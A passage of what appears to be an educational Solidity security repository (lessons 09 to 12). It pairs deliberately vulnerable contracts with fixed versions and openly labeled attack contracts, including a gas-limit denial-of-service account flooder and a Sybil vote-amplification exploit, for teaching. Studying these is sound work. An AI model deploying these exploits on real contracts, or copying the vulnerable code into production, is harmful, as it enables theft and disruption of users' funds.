72 | function claimRefund() external noReentrant {
73 | uint256 refundAmount = prevLeaderRefunds[msg.sender];
74 | require(refundAmount != 0, "You have no refund");
75 |
76 | prevLeaderRefunds[msg.sender] = 0;
77 |
78 | (bool success, ) = msg.sender.call{value: refundAmount}("");
79 | require(success, "Failed to send Ether");
80 | }
81 |
82 | // For the winner to claim principal and reward
83 | function claimPrincipalAndReward() external noReentrant {
84 | require(block.timestamp >= challengeEnd, "Challenge is not finished yet");
85 | require(msg.sender == currentleader, "You are not the winner");
86 | require(!rewardClaimed, "Reward was claimed");
87 |
88 | rewardClaimed = true;
89 |
90 | // Transfer principal + reward to the winner
91 | uint256 amount = lastDepositedAmount + currentLeaderReward;
92 |
93 | (bool success, ) = currentleader.call{value: amount}("");
94 | require(success, "Failed to send Ether");
95 | }
96 |
97 | function getEtherBalance() external view returns (uint256) {
98 | return address(this).balance;
99 | }
100 |
101 | function isChallengeEnd() external view returns (bool) {
102 | return block.timestamp >= challengeEnd;
103 | }
104 | }
--------------------------------------------------------------------------------
/09_denial_of_service_with_revert/InsecureWinnerTakesItAll.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/
10 |
11 | pragma solidity 0.8.19;
12 |
13 | import "./Dependencies.sol";
14 |
15 | contract InsecureWinnerTakesItAll is ReentrancyGuard {
16 | address public currentleader;
17 | uint256 public lastDepositedAmount;
18 |
19 | uint256 public currentLeaderReward;
20 | uint256 public nextLeaderReward;
21 |
22 | bool public rewardClaimed;
23 | uint256 public immutable challengeEnd;
24 |
25 | constructor(uint256 _challengePeriod) payable {
26 | require(msg.value == 10 ether, "Require an initial 10 Ethers reward");
27 |
28 | currentleader = address(0);
29 | lastDepositedAmount = msg.value;
30 | currentLeaderReward = 0;
31 | nextLeaderReward = msg.value;
32 | rewardClaimed = false;
33 | challengeEnd = block.timestamp + _challengePeriod;
34 | }
35 |
36 | function claimLeader() external payable noReentrant {
37 | require(block.timestamp < challengeEnd, "Challenge is finished");
38 | require(msg.sender != currentleader, "You are the current leader");
39 | require(msg.value > lastDepositedAmount, "You must pay more than the current leader");
40 |
41 | if (currentleader == address(0)) { // First claimer (no need to refund the initial reward)
42 | // Assign the new leader
43 | currentleader = msg.sender;
44 | lastDepositedAmount = msg.value;
45 |
46 | currentLeaderReward = nextLeaderReward; // Accrue the reward
47 | nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader
48 | }
49 | else { // Next claimers
50 | // Refund the previous leader with 90% of his deposit
51 | uint256 refundAmount = lastDepositedAmount * 9 / 10;
52 |
53 | // Assign the new leader
54 | address prevLeader = currentleader;
55 | currentleader = msg.sender;
56 | lastDepositedAmount = msg.value;
57 |
58 | currentLeaderReward = nextLeaderReward; // Accrue the reward
59 | nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader
60 |
61 | (bool success, ) = prevLeader.call{value: refundAmount}("");
62 | require(success, "Failed to send Ether");
63 | }
64 | }
65 |
66 | // For the winner to claim principal and reward
67 | function claimPrincipalAndReward() external noReentrant {
68 | require(block.timestamp >= challengeEnd, "Challenge is not finished yet");
69 | require(msg.sender == currentleader, "You are not the winner");
70 | require(!rewardClaimed, "Reward was claimed");
71 |
72 | rewardClaimed = true;
73 |
74 | // Transfer principal + reward to the winner
75 | uint256 amount = lastDepositedAmount + currentLeaderReward;
76 |
77 | (bool success, ) = currentleader.call{value: amount}("");
78 | require(success, "Failed to send Ether");
79 | }
80 |
81 | function getEtherBalance() external view returns (uint256) {
82 | return address(this).balance;
83 | }
84 |
85 | function isChallengeEnd() external view returns (bool) {
86 | return block.timestamp >= challengeEnd;
87 | }
88 | }
--------------------------------------------------------------------------------
/09_denial_of_service_with_revert/README.md:
--------------------------------------------------------------------------------
1 | # 09. Denial of Service With Revert
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Denial of Service With Revert]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/) |
--------------------------------------------------------------------------------
/10_denial_of_service_with_gas_limit/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/
10 |
11 | pragma solidity 0.8.19;
12 |
13 | interface INaiveBank {
14 | function depositFor(address _user) external payable;
15 | }
16 |
17 | contract Attack {
18 | INaiveBank public immutable naiveBank;
19 | uint160 public dummyAccountCount;
20 |
21 | constructor(INaiveBank _naiveBank) {
22 | naiveBank = _naiveBank;
23 | }
24 |
25 | function openDummyAccounts(uint160 _noAccounts) external payable {
26 | require(msg.value == _noAccounts, "Invalid Ether amount");
27 |
28 | for (uint160 i = 0; i < _noAccounts; i++) {
29 | // Open a dummy account with the 1 wei deposit
30 | naiveBank.depositFor{value: 1}(address(++dummyAccountCount));
31 | }
32 | }
33 | }
--------------------------------------------------------------------------------
/10_denial_of_service_with_gas_limit/FixedNaiveBank.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/
10 |
11 | pragma solidity 0.8.19;
12 |
13 | // This contract demonstrates a simple batch processing for calculating users' compound interests.
14 | // It is just a proof of concept of the batch processing only.
15 |
16 | // The contract still has a double spending issue via the depositFor() function,
17 | // but it is not the scope of this example though. Even an approach to calculating
18 | // the interests is still insecure.
19 |
20 | // For this reason, please do not use this contract code in your production
21 |
22 | contract FixedNaiveBank {
23 | uint256 public constant INTEREST_RATE = 5; // 5% interest
24 |
25 | mapping (address => uint256) private userBalances;
26 | address[] private userAddresses;
27 |
28 | address public immutable owner;
29 |
30 | constructor() {
31 | owner = msg.sender;
32 | }
33 |
34 | modifier onlyOwner() {
35 | require(owner == msg.sender, "You are not the owner");
36 | _;
37 | }
38 |
39 | function depositBankFunds() external payable onlyOwner {
40 | require(msg.value > 0, "Require some funds");
41 | }
42 |
43 | // There is a double spending issue on the depositFor() function,
44 | // but it is not the scope of this example though
45 | function depositFor(address _user) external payable {
46 | require(_user != address(0), "Do not support a zero address");
47 | require(msg.value > 0, "Require some funds");
48 |
49 | // Register new user
50 | if (userBalances[_user] == 0) {
51 | userAddresses.push(_user);
52 | }
53 |
54 | userBalances[_user] += msg.value;
55 | }
56 |
57 | function withdraw(uint256 _withdrawAmount) external {
58 | require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance");
59 | userBalances[msg.sender] -= _withdrawAmount;
60 |
61 | (bool success, ) = msg.sender.call{value: _withdrawAmount}("");
62 | require(success, "Failed to send Ether");
63 | }
64 |
65 | // FIX: This function demonstrates a simple batch processing for calculating users' compound interests
66 | // It is just a proof of concept of the batch processing only and should not be used in production
67 | function batchApplyInterest(uint256 _beginUserID, uint256 _endUserID)
68 | external onlyOwner returns (uint256 minBankBalanceRequiredThisBatch_)
69 | {
70 | require(_beginUserID < userAddresses.length, "_beginUserID is out of range");
71 | require(_endUserID >= _beginUserID, "_endUserID must be more than or equal to _beginUserID");
72 |
73 | if (_endUserID >= userAddresses.length) {
74 | _endUserID = userAddresses.length - 1;
75 | }
76 |
77 | for (uint256 i = _beginUserID; i <= _endUserID; i++) {
78 | address user = userAddresses[i];
79 | uint256 balance = userBalances[user];
80 |
81 | // Update user's compound interest
82 | userBalances[user] = balance * (100 + INTEREST_RATE) / 100;
83 |
84 | // Calculate the minimum bank balance required (for this batch) to pay for each user
85 | minBankBalanceRequiredThisBatch_ += userBalances[user];
86 | }
87 | }
88 |
89 | function getBankBalance() external view returns (uint256) {
90 | return address(this).balance;
91 | }
92 |
93 | function getUserBalance(address _user) external view returns (uint256) {
94 | return userBalances[_user];
95 | }
96 |
97 | function getUserLength() external view returns (uint256) {
98 | return userAddresses.length;
99 | }
100 | }
--------------------------------------------------------------------------------
/10_denial_of_service_with_gas_limit/InsecureNaiveBank.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/
10 |
11 | pragma solidity 0.8.19;
12 |
13 | contract InsecureNaiveBank {
14 | uint256 public constant INTEREST_RATE = 5; // 5% interest
15 |
16 | mapping (address => uint256) private userBalances;
17 | address[] private userAddresses;
18 |
19 | address public immutable owner;
20 |
21 | constructor() {
22 | owner = msg.sender;
23 | }
24 |
25 | modifier onlyOwner() {
26 | require(owner == msg.sender, "You are not the owner");
27 | _;
28 | }
29 |
30 | function depositBankFunds() external payable onlyOwner {
31 | require(msg.value > 0, "Require some funds");
32 | }
33 |
34 | // There is a double spending issue on the depositFor() function,
35 | // but it is not the scope of this example though
36 | function depositFor(address _user) external payable {
37 | require(_user != address(0), "Do not support a zero address");
38 | require(msg.value > 0, "Require some funds");
39 |
40 | // Register new user
41 | if (userBalances[_user] == 0) {
42 | userAddresses.push(_user);
43 | }
44 |
45 | userBalances[_user] += msg.value;
46 | }
47 |
48 | function withdraw(uint256 _withdrawAmount) external {
49 | require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance");
50 | userBalances[msg.sender] -= _withdrawAmount;
51 |
52 | (bool success, ) = msg.sender.call{value: _withdrawAmount}("");
53 | require(success, "Failed to send Ether");
54 | }
55 |
56 | function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) {
57 | for (uint256 i = 0; i < userAddresses.length; i++) {
58 | address user = userAddresses[i];
59 | uint256 balance = userBalances[user];
60 |
61 | // Update user's compound interest
62 | userBalances[user] = balance * (100 + INTEREST_RATE) / 100;
63 |
64 | // Calculate the minimum bank balance required to pay for each user
65 | minBankBalanceRequired_ += userBalances[user];
66 | }
67 | }
68 |
69 | function getBankBalance() external view returns (uint256) {
70 | return address(this).balance;
71 | }
72 |
73 | function getUserBalance(address _user) external view returns (uint256) {
74 | return userBalances[_user];
75 | }
76 |
77 | function getUserLength() external view returns (uint256) {
78 | return userAddresses.length;
79 | }
80 | }
--------------------------------------------------------------------------------
/10_denial_of_service_with_gas_limit/README.md:
--------------------------------------------------------------------------------
1 | # 10. Denial of Service With Gas Limit
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Denial of Service With Gas Limit]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/) |
--------------------------------------------------------------------------------
/11_denial_of_service_with_induction_variable_overflow/FixedSimpleAirdrop.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | // This contract still has integer overflow and denial-of-service issues, but they are not
14 | // the scope of this example though. Therefore, please do not use this contract code in production
15 | contract FixedSimpleAirdrop {
16 | address public immutable launcher;
17 |
18 | constructor(address _launcher) public payable {
19 | require(_launcher != address(0), "Launcher cannot be a zero address");
20 | require(msg.value >= 1 ether, "Require at least 1 Ether");
21 | launcher = _launcher;
22 | }
23 |
24 | modifier onlyLauncher() {
25 | require(launcher == msg.sender, "You are not the launcher");
26 | _;
27 | }
28 |
29 | function transferAirdrops(uint256 _amount, address[] calldata _receivers) external onlyLauncher {
30 | require(_amount > 0, "Amount must be more than 0");
31 | require(_receivers.length > 0, "Require at least 1 receiver");
32 | require(
33 | getBalance() >= _amount * _receivers.length, // Integer overflow issue (not the scope of this example)
34 | "Insufficient Ether balance to transfer"
35 | );
36 |
37 | // Transfer airdrops to all receivers
38 | for (uint256 i = 0; i < _receivers.length; i++) { // FIX: Apply uint256 for the variable "i"
39 | (bool success, ) = _receivers[i].call{value: _amount}(""); // Denial-of-service issue (not the scope of this example)
40 | require(success, "Failed to send Ether");
41 | }
42 | }
43 |
44 | function getBalance() public view returns (uint256) {
45 | return address(this).balance;
46 | }
47 | }
--------------------------------------------------------------------------------
/11_denial_of_service_with_induction_variable_overflow/IssueSimulation.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | interface ISimpleAirdrop {
14 | function transferAirdrops(uint256 _amount, address[] calldata _receivers) external;
15 | }
16 |
17 | contract IssueSimulation {
18 | uint256 public constant MAX_RECEIVERS = 300;
19 |
20 | function simulateIssue(ISimpleAirdrop _simpleAirdrop, uint256 _amount) external {
21 | require(_amount > 0, "Amount must be more than 0");
22 |
23 | // Generate a mock-up set of 300 receivers
24 | address[] memory receivers = new address[](MAX_RECEIVERS);
25 | for (uint256 i = 0; i < MAX_RECEIVERS; i++) {
26 | receivers[i] = address(i + 1000); // receiver addresses: [1000 - 1299]
27 | }
28 |
29 | _simpleAirdrop.transferAirdrops(_amount, receivers);
30 | }
31 | }
--------------------------------------------------------------------------------
/11_denial_of_service_with_induction_variable_overflow/README.md:
--------------------------------------------------------------------------------
1 | # 11. Denial of Service With Induction Variable Overflow
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Denial of Service With Induction Variable Overflow]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/) |
--------------------------------------------------------------------------------
/11_denial_of_service_with_induction_variable_overflow/VulnerableSimpleAirdrop.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | contract VulnerableSimpleAirdrop {
14 | address public immutable launcher;
15 |
16 | constructor(address _launcher) public payable {
17 | require(_launcher != address(0), "Launcher cannot be a zero address");
18 | require(msg.value >= 1 ether, "Require at least 1 Ether");
19 | launcher = _launcher;
20 | }
21 |
22 | modifier onlyLauncher() {
23 | require(launcher == msg.sender, "You are not the launcher");
24 | _;
25 | }
26 |
27 | function transferAirdrops(uint256 _amount, address[] calldata _receivers) external onlyLauncher {
28 | require(_amount > 0, "Amount must be more than 0");
29 | require(_receivers.length > 0, "Require at least 1 receiver");
30 | require(
31 | getBalance() >= _amount * _receivers.length, // Integer overflow issue (not the scope of this example)
32 | "Insufficient Ether balance to transfer"
33 | );
34 |
35 | // Transfer airdrops to all receivers
36 | for (uint8 i = 0; i < _receivers.length; i++) {
37 | (bool success, ) = _receivers[i].call{value: _amount}(""); // Denial-of-service issue (not the scope of this example)
38 | require(success, "Failed to send Ether");
39 | }
40 | }
41 |
42 | function getBalance() public view returns (uint256) {
43 | return address(this).balance;
44 | }
45 | }
--------------------------------------------------------------------------------
/12_amplification_attack__double_spending_01/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/
10 |
11 | pragma solidity 0.8.20;
12 |
13 | import "./Dependencies.sol";
14 |
15 | interface IMoonDAOVote {
16 | function vote(uint256 _candidateID) external;
17 | }
18 |
19 | contract AttackServant {
20 | IMoonToken public immutable moonToken;
21 | IMoonDAOVote public immutable moonDAOVote;
22 |
23 | constructor(IMoonToken _moonToken, IMoonDAOVote _moonDAOVote) {
24 | moonToken = _moonToken;
25 | moonDAOVote = _moonDAOVote;
26 | }
27 |
28 | function attack(uint256 _candidateID) external {
29 | uint256 moonInitAmount = moonToken.getUserBalance(address(this));
30 | require(moonInitAmount >= 1, "Require at least 1 MOON to attack");
31 |
32 | // Perform the vote and then transfer the MOON tokens back to the boss contract
33 | moonDAOVote.vote(_candidateID);
34 | moonToken.transfer(msg.sender, moonInitAmount);
35 | }
36 | }
37 |
38 | contract AttackBoss {
39 | IMoonToken public immutable moonToken;
40 | IMoonDAOVote public immutable moonDAOVote;
41 |
42 | constructor(IMoonToken _moonToken, IMoonDAOVote _moonDAOVote) {
43 | moonToken = _moonToken;
44 | moonDAOVote = _moonDAOVote;
45 | }
46 |
47 | // Perform the voting amplification attack
48 | function attack(uint256 _candidateID, uint256 _xTimes) external {
49 | uint256 moonInitAmount = moonToken.getUserBalance(msg.sender);
50 | require(moonInitAmount >= 1, "Require at least 1 MOON to attack");
51 |
52 | // Transfer MOON tokens from the attacker to this contract
53 | moonToken.transferFrom(msg.sender, address(this), moonInitAmount);
54 |
55 | for (uint256 i = 0; i < _xTimes; i++) {
56 | // Create a servant contract, a Sybil account
57 | AttackServant servant = new AttackServant(moonToken, moonDAOVote);
58 |
59 | // Transfer MOON tokens to the servant contract
60 | moonToken.transfer(address(servant), moonInitAmount);
61 |
62 | // Invoke the servant contract to do the vote
63 | servant.attack(_candidateID);
64 | }
65 |
66 | // Transfer MOON tokens back to the attacker
67 | moonToken.transfer(msg.sender, moonInitAmount);
68 | }
69 | }
--------------------------------------------------------------------------------
/12_amplification_attack__double_spending_01/Dependencies.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/
10 |
11 | pragma solidity 0.8.20;
12 |
13 | abstract contract ReentrancyGuard {
14 | bool internal locked;
15 |
16 | modifier noReentrant() {
17 | require(!locked, "No re-entrancy");
18 | locked = true;
19 | _;
20 | locked = false;
21 | }
22 | }
23 |
24 | interface IMoonToken {
25 | function buy(uint256 _amount) external payable;
26 | function sell(uint256 _amount) external;
27 | function transfer(address _to, uint256 _amount) external;
28 | function transferFrom(address _from, address _to, uint256 _value) external;
29 | function approve(address _spender, uint256 _value) external;
30 | function allowance(address _owner, address _spender) external view returns (uint256 remaining);
31 | function getEtherBalance() external view returns (uint256);
32 | function getUserBalance(address _user) external view returns (uint256);
33 | }
34 |
35 | contract MoonToken {
36 | mapping (address => uint256) private userBalances;
37 | mapping (address => mapping (address => uint256)) private allowed;
38 |
39 | uint256 private constant MAX_UINT256 = type(uint256).max;
40 | uint256 public constant TOKEN_PRICE = 1 ether;
41 |
42 | string public constant name = "Moon Token";
43 | string public constant symbol = "MOON";
44 |
45 | // The token is non-divisible
46 | // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
47 | uint8 public constant decimals = 0;
48 |
49 | function buy(uint256 _amount) external payable {
50 | require(
51 | msg.value == _amount * TOKEN_PRICE,
52 | "Ether submitted and Token amount to buy mismatch"
53 | );
54 |
55 | userBalances[msg.sender] += _amount;
56 | }
57 |
58 | function sell(uint256 _amount) external {
59 | require(userBalances[msg.sender] >= _amount, "Insufficient balance");
60 |
61 | userBalances[msg.sender] -= _amount;
62 |
63 | (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
64 | require(success, "Failed to send Ether");
65 | }
66 |
67 | function transfer(address _to, uint256 _amount) external {
68 | require(_to != address(0), "_to address is not valid");
69 | require(userBalances[msg.sender] >= _amount, "Insufficient balance");
70 |
71 | userBalances[msg.sender] -= _amount;
72 | userBalances[_to] += _amount;
73 | }
74 |
75 | function transferFrom(address _from, address _to, uint256 _value) external {
76 | uint256 allowance_ = allowed[_from][msg.sender];
77 | require(
78 | userBalances[_from] >= _value && allowance_ >= _value,
79 | "Insufficient balance"
80 | );
81 |
82 | userBalances[_to] += _value;
83 | userBalances[_from] -= _value;
84 |
85 | if (allowance_ < MAX_UINT256) {
86 | allowed[_from][msg.sender] -= _value;
87 | }
88 | }
89 |
90 | function approve(address _spender, uint256 _value) external {
91 | allowed[msg.sender][_spender] = _value;
92 | }
93 |
94 | function allowance(address _owner, address _spender)
95 | external
96 | view
97 | returns (uint256 remaining)
98 | {
99 | return allowed[_owner][_spender];
100 | }
101 |
102 | function getEtherBalance() external view returns (uint256) {
103 | return address(this).balance;
104 | }
105 |
106 | function getUserBalance(address _user) external view returns (uint256) {
107 | return userBalances[_user];
108 | }
109 | }
--------------------------------------------------------------------------------
/12_amplification_attack__double_spending_01/FixedMoonDAOVote.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/
10 |
11 | pragma solidity 0.8.20;
12 |
13 | import "./Dependencies.sol";
14 |
15 | contract FixedMoonDAOVote is ReentrancyGuard {
16 | IMoonToken public immutable moonToken;
17 | uint256 public immutable voteDeadline;
18 |
19 | // User Vote
20 | struct UserVote {
21 | uint256 candidateID;
22 | uint256 voteAmount;
23 | bool completed;
24 | bool moonWithdrawn; // FIX: Tracking the MOON token's withdrawal status
25 | }
26 | mapping (address => UserVote) private userVotes;
27 |
28 | // CEO Candidate
29 | struct CEOCandidate {
30 | string name;
31 | uint256 totalVoteAmount;
32 | }
33 | CEOCandidate[] private candidates;
34 |
35 | constructor(IMoonToken _moonToken, uint256 _voteDeadline) {
36 | moonToken = _moonToken;
37 | voteDeadline = _voteDeadline;
38 |
39 | // Candidate #0: Bob
40 | candidates.push(
41 | CEOCandidate({name: "Bob", totalVoteAmount: 0})
42 | );
43 |
44 | // Candidate #1: John
45 | candidates.push(
46 | CEOCandidate({name: "John", totalVoteAmount: 0})
47 | );
48 |
49 | // Candidate #2: Eve
50 | candidates.push(
51 | CEOCandidate({name: "Eve", totalVoteAmount: 0})
52 | );
53 | }
54 |
55 | function vote(uint256 _candidateID) external noReentrant {
56 | require(block.timestamp < voteDeadline, "Vote is finished");
57 | require(!userVotes[msg.sender].completed, "You have already voted");
58 | require(_candidateID < candidates.length, "Invalid candidate id");
59 |
60 | uint256 voteAmount = moonToken.getUserBalance(msg.sender);
61 | require(voteAmount > 0, "You have no privilege to vote");
62 |
63 | // FIX: Transfer the MOON tokens to lock in this contract
64 | // until the voting period is completed
65 | moonToken.transferFrom(msg.sender, address(this), voteAmount);
66 |
67 | userVotes[msg.sender] = UserVote({
68 | candidateID: _candidateID,
69 | voteAmount: voteAmount,
70 | completed: true,
71 | moonWithdrawn: false // FIX: Tracking the MOON token's withdrawal status
72 | });
73 |
74 | candidates[_candidateID].totalVoteAmount += voteAmount;
75 | }
76 |
77 | // FIX: Voters can withdraw MOON tokens after the voting period ends
78 | function withdrawMoonTokens() external noReentrant {
79 | require(block.timestamp >= voteDeadline, "Vote is not finished yet");
80 | require(userVotes[msg.sender].completed, "You did not make the vote");
81 | require(!userVotes[msg.sender].moonWithdrawn, "You have no MOON tokens to withdraw");
82 |
83 | // Mark that the MOON tokens are withdrawn
84 | userVotes[msg.sender].moonWithdrawn = true;
85 |
86 | // Transfer the MOON tokens back to the voter
87 | moonToken.transfer(msg.sender, userVotes[msg.sender].voteAmount);
88 | }
89 |
90 | function getTotalCandidates() external view returns (uint256) {
91 | return candidates.length;
92 | }
93 |
94 | function getUserVote(address _user) external view returns (UserVote memory) {
95 | return userVotes[_user];
96 | }
97 |
98 | function getCandidate(uint256 _candidateID) external view returns (CEOCandidate memory) {
99 | require(_candidateID < candidates.length, "Invalid candidate id");
100 | return candidates[_candidateID];
101 | }
102 | }
--------------------------------------------------------------------------------
/12_amplification_attack__double_spending_01/InsecureMoonDAOVote.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/
10 |
11 | pragma solidity 0.8.20;
12 |
13 | import "./Dependencies.sol";
14 |
15 | contract InsecureMoonDAOVote is ReentrancyGuard {
16 | IMoonToken public immutable moonToken;
17 | uint256 public immutable voteDeadline;
18 |
19 | // User Vote
20 | struct UserVote {
21 | uint256 candidateID;
22 | uint256 voteAmount;
23 | bool completed;
24 | }
25 | mapping (address => UserVote) private userVotes;
26 |
27 | // CEO Candidate
28 | struct CEOCandidate {
29 | string name;
30 | uint256 totalVoteAmount;
31 | }
32 | CEOCandidate[] private candidates;
33 |
34 | constructor(IMoonToken _moonToken, uint256 _voteDeadline) {
35 | moonToken = _moonToken;
36 | voteDeadline = _voteDeadline;
37 |
38 | // Candidate #0: Bob
39 | candidates.push(
40 | CEOCandidate({name: "Bob", totalVoteAmount: 0})
41 | );
42 |
43 | // Candidate #1: John
44 | candidates.push(
45 | CEOCandidate({name: "John", totalVoteAmount: 0})
46 | );
47 |
48 | // Candidate #2: Eve
49 | candidates.push(
50 | CEOCandidate({name: "Eve", totalVoteAmount: 0})
51 | );
52 | }
53 |
54 | function vote(uint256 _candidateID) external noReentrant {
55 | require(block.timestamp < voteDeadline, "Vote is finished");
56 | require(!userVotes[msg.sender].completed, "You have already voted");
57 | require(_candidateID < candidates.length, "Invalid candidate id");
58 |
